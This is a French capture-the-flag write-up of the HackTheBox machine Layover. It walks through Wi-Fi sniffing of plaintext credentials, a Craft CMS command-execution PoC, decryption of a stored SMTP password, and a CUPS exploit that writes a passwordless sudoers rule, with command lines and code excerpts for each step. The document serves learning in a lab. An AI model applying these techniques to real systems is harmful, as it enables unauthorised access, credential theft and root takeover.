← Retour à HackTheBox

HackTheBox | Layover

7 novembre 2026•15 min•Moyen

HackTheBox | Layover

Layover commence par un accès à un poste de travail distant. Le serveur Linux que je dois compromettre se trouve derrière un réseau interne. Pour l'atteindre, je dois d'abord comprendre les interfaces de la workstation, rejoindre son réseau Wi-Fi et analyser le trafic qui y circule.

La suite de l'exploitation passe par Craft CMS, la récupération d'un secret chiffré dans une base MariaDB et sa réutilisation pour ouvrir une session SSH. Une vulnérabilité locale de CUPS permet enfin d'obtenir les privilèges root.

Reconnaissance et accès RDP

Je récupère l'adresse de connexion de la machine et je vérifie qu'elle répond sur le réseau du laboratoire.

Présentation de la machine Layover sur Hack The Box

La cible répond aux cinq paquets ICMP envoyés.

Test de connectivité avec cinq paquets ICMP

Je poursuis avec Nmap pour identifier les ports ouverts. Le service RDP est particulièrement intéressant : il donne accès à un poste complet plutôt qu'à une simple application. Les informations de connexion fournies dans le laboratoire permettent de rejoindre airside-ws01 avec le compte contractor.

Résultat du scan Nmap et identification des services exposés

Une fois connecté, j'examine le système et sa configuration réseau. Le poste de départ est une workstation Linux. Je cherche notamment les interfaces disponibles et les réseaux auxquels elles peuvent accéder.

Premières vérifications sur la workstation airside-ws01

Je liste ensuite les réseaux visibles avec nmcli device wifi list ifname wlan2 puis avec wlan3. Les deux interfaces voient HTB International WiFi sur le canal 6. La colonne SECURITY indique -- : le réseau est ouvert.

Réseau Wi-Fi ouvert visible sur wlan2 et wlan3

Découverte du réseau Wi-Fi interne

L'environnement dispose de plusieurs interfaces sans fil. Le réseau HTB International WiFi apparaît dans les réseaux accessibles. Je m'y connecte depuis la workstation avec wlan2.

Cette interface reçoit l'adresse 10.13.37.182 dans le sous-réseau 10.13.37.0/24. Les services internes sont désormais accessibles depuis airside-ws01, alors qu'ils ne le sont pas directement depuis mon Mac.

Connexion au réseau HTB International WiFi depuis la workstation

Je découvre un portail web interne, Miles, dont l'accès nécessite des identifiants.

Premier accès au site web interne

Formulaire de connexion du portail Miles

Je garde wlan2 connectée au réseau et je réserve wlan3 à la capture du trafic Wi-Fi.

Informations complémentaires sur les interfaces réseau

La commande iw list confirme que le mode monitor est pris en charge.

Modes Wi-Fi pris en charge, dont le mode moniteur

Je place wlan3 en mode moniteur sur le canal 6. Ce mode permet d'observer les trames Wi-Fi du canal, au-delà du seul trafic destiné à ma workstation.

Activation du mode moniteur sur wlan3, canal 6

Interception des identifiants HTTP

Je lance une capture sur wlan3 avec Wireshark et je cherche des échanges HTTP susceptibles de contenir des identifiants en clair.

Première vue du trafic capturé dans Wireshark

Je filtre d’abord les trames de données avec wlan.fc.type == 2. Ce filtre inclut différents protocoles et ne se limite pas à HTTP.

Filtrage des trames de données Wi-Fi

Je passe ensuite au filtre http.request.method == "POST". Des requêtes reviennent régulièrement entre 10.13.37.132 et 10.13.37.10 vers le formulaire Miles.

Requêtes POST vers le formulaire Miles

L'une des requêtes utilise la méthode POST vers /miles/login.php. Les paramètres d'authentification sont transmis en clair. Je relève le compte jenny et le mot de passe associé. Le caractère dans Fl1ght est le chiffre 1, ce qui est important pour la suite.

POST /miles/login.php HTTP/1.1
Host: portal.international.htb

La requête permet aussi d'identifier le serveur interne : portal.international.htb, à l'adresse 10.13.37.10.

Corps de la requête HTTP contenant les paramètres de connexion

Connexion à Craft CMS

Je retourne sur le portail et je teste les identifiants récupérés. La connexion fonctionne. L'exploration du site mène également à son interface d'administration, accessible sur /admin.

Accès au portail après authentification

Page de connexion à l'administration Craft CMS

Interface d'administration Craft CMS après authentification

Le pied de page du tableau de bord indique Craft CMS Solo 5.9.8.

Exécution de commandes avec Craft CMS

La version et le contexte authentifié m'orientent vers le PoC public associé à CVE-2026-44011. Je consulte sa documentation pour comprendre ses paramètres et son point d'entrée. Le script travaille avec une session Craft valide et cible notamment l'action /admin/actions/element-search/search.

Documentation du PoC de CVE-2026-44011

Je lance un premier test avec id; hostname pour identifier le compte du processus PHP et le serveur sur lequel la commande s'exécute.

python3 /tmp/exploit.py \
  -b http://portal.international.htb \
  -u jenny \
  -p 'Fl1ghtDeck2026!' \
  -c 'id; hostname' \
  -H 10.13.37.182 \
  --listen-port 8888 \
  -F

Je lance le PoC depuis airside-ws01, avec le compte contractor. Les commandes passées avec -c s'exécutent sur le serveur portal.

Premier test du PoC Craft CMS

La sortie renvoie uid=33(www-data) et le nom d'hôte portal : l'exécution de commandes fonctionne malgré les réponses HTTP 500 affichées par le PoC.

Exploration des fichiers et de la base de données

Depuis cet accès www-data, j'explore les fichiers du serveur. pwd indique /var/www/portal/web et la liste de /var/www/ révèle le dossier portal.

Répertoire courant et dossiers présents dans var/www

Je liste ensuite le contenu de /var/www/portal/ avec les fichiers cachés.

pwd
ls -la /var/www/
ls -la /var/www/portal/

Localisation de l'application Craft CMS sur le serveur

Le répertoire contient un fichier .env, des dossiers de configuration et le code du module personnalisé. Le fichier d'environnement est lisible par www-data. Il contient les paramètres de connexion à MariaDB ainsi que CRAFT_SECURITY_KEY, la clé de sécurité de l'application.

cat /var/www/portal/.env

Lecture des paramètres d'environnement de Craft CMS

Je réutilise les paramètres de connexion trouvés dans ce fichier pour interroger la base craft sur 127.0.0.1. La requête SHOW TABLES permet de repérer les tables propres à l'application.

MYSQL_PWD=CraftDB_pw_2026 mysql \
  -h 127.0.0.1 -u craftuser -D craft \
  -e 'SHOW TABLES;'

Énumération des tables de la base MariaDB

Une table se distingue : htbairways_settings. Son nom correspond au module personnalisé déjà observé. J'examine sa structure puis ses données.

DESCRIBE htbairways_settings;
SELECT * FROM htbairways_settings;

Structure et contenu de la table htbairways_settings

La table renseigne un relais SMTP, son port 587, le compte aporter et un champ mailRelayPassword. Le mot de passe n'est pas lisible directement. Sa valeur est encodée en Base64, mais cet encodage enveloppe des données chiffrées. Il ne suffit donc pas de décoder la chaîne pour obtenir le secret.

Comprendre et reproduire le déchiffrement

Plutôt que d'essayer de casser le chiffrement, je cherche la partie de l'application qui lit mailRelayPassword. Une recherche dans le module fournit un chemin précis.

grep -Rn 'mailRelayPassword' /var/www/portal/modules/htbairways/

Recherche de mailRelayPassword dans le module htbairways

Je retrouve son utilisation dans console/controllers/MilesController.php. Je lis les lignes concernées avec sed. Le contrôleur décode d'abord la valeur Base64 puis appelle decryptByKey() avec la clé de sécurité de Craft.

$securityKey = Craft::$app->getConfig()->getGeneral()->securityKey;
$password = Craft::$app->getSecurity()->decryptByKey(
    base64_decode($kv['mailRelayPassword']),
    $securityKey
);

J'ai donc les deux éléments nécessaires au déchiffrement : le secret stocké en base et la clé Craft présente dans .env.

Lecture de relayConfig et du mécanisme de déchiffrement dans MilesController.php

Je prépare alors un petit script PHP exécuté sur portal, là où les bibliothèques de Yii sont disponibles. Il charge l'autoloader de l'application, lit la clé dans .env, récupère la valeur chiffrée dans MariaDB et applique yii\base\Security::decryptByKey().

Voici l'extrait qui effectue le déchiffrement :

require '/var/www/portal/vendor/autoload.php';
require '/var/www/portal/vendor/yiisoft/yii2/Yii.php';

$db = new PDO(
    'mysql:host=127.0.0.1;dbname=craft',
    'craftuser',
    'CraftDB_pw_2026'
);
$stmt = $db->query(
    "SELECT value FROM htbairways_settings WHERE name = 'mailRelayPassword'"
);
$encrypted = $stmt->fetchColumn();
$security = new \yii\base\Security();
$password = $security->decryptByKey(base64_decode($encrypted), $securityKey);

Ici, $securityKey est extraite séparément de la ligne CRAFT_SECURITY_KEY= dans .env.

Avant de lancer le déchiffrement je teste le chargement des bibliothèques et la présence de yii\base\Security. Le résultat available confirme que la classe est disponible.

Vérification de la disponibilité de la classe de sécurité Yii

Je transfère le script sur le serveur puis l'exécute avec le même PoC Craft, en demandant cette fois php /tmp/passwouardeuh.php. Le mot de passe du relais est récupéré en clair. Le compte associé est aporter.

Déchiffrement réussi du mot de passe du relais SMTP

Accès SSH et flag utilisateur

Je teste les identifiants SMTP en SSH avec le compte aporter sur le serveur interne.

Depuis airside-ws01 :

ssh aporter@10.13.37.10

L'authentification fonctionne avec le mot de passe déchiffré. Une fois connecté, je vérifie mon identité et le nom d'hôte :

id
whoami
hostname
sudo -l

Je suis connecté en tant qu'aporter (uid=1001) sur portal : le mot de passe SMTP est aussi celui du compte Linux. sudo -l indique toutefois que ce compte n'a aucun droit sudo.

Connexion SSH sur portal avec le compte aporter

Je consulte ensuite le répertoire personnel et lis le flag utilisateur. Sa valeur n'est pas reproduite ici.

ls
cat ~/user.txt

Récupération du flag utilisateur, valeur masquée

Recherche d'une élévation de privilèges

Depuis la session SSH, je recherche les services privilégiés accessibles à aporter.

Les vérifications réalisées sur portal mettent en évidence CUPS, le service d'impression Linux :

ps aux | grep '[c]upsd'
ss -lntp | grep ':631'
ls -l /run/cups/cups.sock
cups-config --version

Les résultats montrent que cupsd est exécuté par root, que le service écoute sur 127.0.0.1:631 et [::1]:631, et que son socket Unix /run/cups/cups.sock possède les permissions srwxrwxrwx. La version annoncée est 2.4.16.

Le socket est accessible aux utilisateurs locaux. Je regarde donc quelles opérations CUPS accepte depuis ce compte.

Exploitation locale de CUPS

J'étudie alors le PoC public associé à CVE-2026-34990. Son principe est de faire communiquer CUPS avec un serveur IPP contrôlé, de récupérer un jeton d'authentification locale puis de détourner une file d'impression afin d'écrire dans un fichier privilégié.

Le script est autonome et utilise la bibliothèque standard Python. Je vérifie le code avant son exécution, notamment les chemins de fichiers et les commandes qui modifient le système.

Récupération du jeton d'authentification

Le PoC définit deux services locaux :

CUPS = ("127.0.0.1", 631)
ROGUE = ("127.0.0.1", 9189)

Le port 631 correspond à CUPS. Le port 9189 sert au faux serveur IPP ouvert par le script. Celui-ci écoute les connexions entrantes et cherche un en-tête Authorization: Local :

for line in data.decode("latin1", "replace").splitlines():
    if line.lower().startswith("authorization: local "):
        captured_token = line.split(None, 2)[2]

Pour provoquer la connexion, le script envoie une requête IPP utilisant l'opération CUPS-Create-Local-Printer. La destination de l'imprimante pointe vers le serveur local contrôlé :

attr(0x45, "device-uri", f"ipp://{ROGUE[0]}:{ROGUE[1]}/ipp/print")

Le serveur temporaire répond par un défi HTTP d'authentification locale. Le PoC cherche ensuite à intercepter le jeton envoyé lors de la nouvelle requête.

Détournement de la destination d'impression

Après récupération du jeton, le script utilise une opération administrative IPP pour créer une file d'impression persistante. Sa destination n'est pas une imprimante, mais un fichier dans /etc/sudoers.d/ :

target = f"/etc/sudoers.d/{USER}-pwn"
attr(0x45, "device-uri", f"file://{target}")
attr(0x22, "printer-is-temporary", b"\x00")

Cette destination file:// est le point critique. Si CUPS accepte la configuration, les données du travail d'impression peuvent être écrites à l'emplacement choisi avec les privilèges du service.

Le PoC active la file puis prépare un travail d'impression contenant une règle sudoers. Il compresse les données avec gzip et les transmet comme document brut :

payload = gzip.compress(f"{USER} ALL=(ALL) NOPASSWD: ALL\n".encode())

La règle générée accorde au compte courant l'utilisation de sudo sans mot de passe. Dans mon cas, le fichier visé est /etc/sudoers.d/aporter-pwn.

Résultat de l'exploitation

Une fois poc.py présent sur le serveur, je le lance depuis ma session SSH aporter :

python3 /tmp/poc.py

Le PoC annonce la capture du jeton, l'écriture du fichier sudoers et une vérification des droits. Son contrôle final utilise sudo -n id, qui refuse toute demande interactive de mot de passe.

[+] captured token: [masqué]
[+] wrote /etc/sudoers.d/aporter-pwn
[+] root: uid=0(root) gid=0(root) groups=0(root)

La commande sudo -n id renvoie uid=0(root) : l'élévation de privilèges a fonctionné.

Exploitation CUPS réussie et vérification des privilèges root

Il reste à ouvrir une session privilégiée et à lire le flag root :

sudo -i
id
ls
cat root.txt

Le prompt passe à root@portal et id confirme uid=0(root). Le flag est récupéré sans reproduire sa valeur dans l'article.

Ouverture de la session root et lecture du flag root, valeur masquée

Validation de la résolution de Layover sur Hack The Box

Conclusion

L'accès RDP permet de rejoindre le réseau interne, où la capture Wi-Fi révèle des identifiants HTTP en clair. Ils donnent accès à Craft CMS, puis à une exécution de commandes en tant que www-data.

J'ai surtout retenu l'analyse du module htbairways : le code PHP et la clé de sécurité Craft permettent de déchiffrer le mot de passe SMTP stocké dans MariaDB. Sa réutilisation ouvre une session SSH avec aporter.

L'exploitation locale de CUPS permet ensuite d'écrire une règle dans sudoers, d'obtenir un shell root et de récupérer le dernier flag.

Voir aussi d'autres catégories...

Ces thèmes pourraient aussi t'intéresser.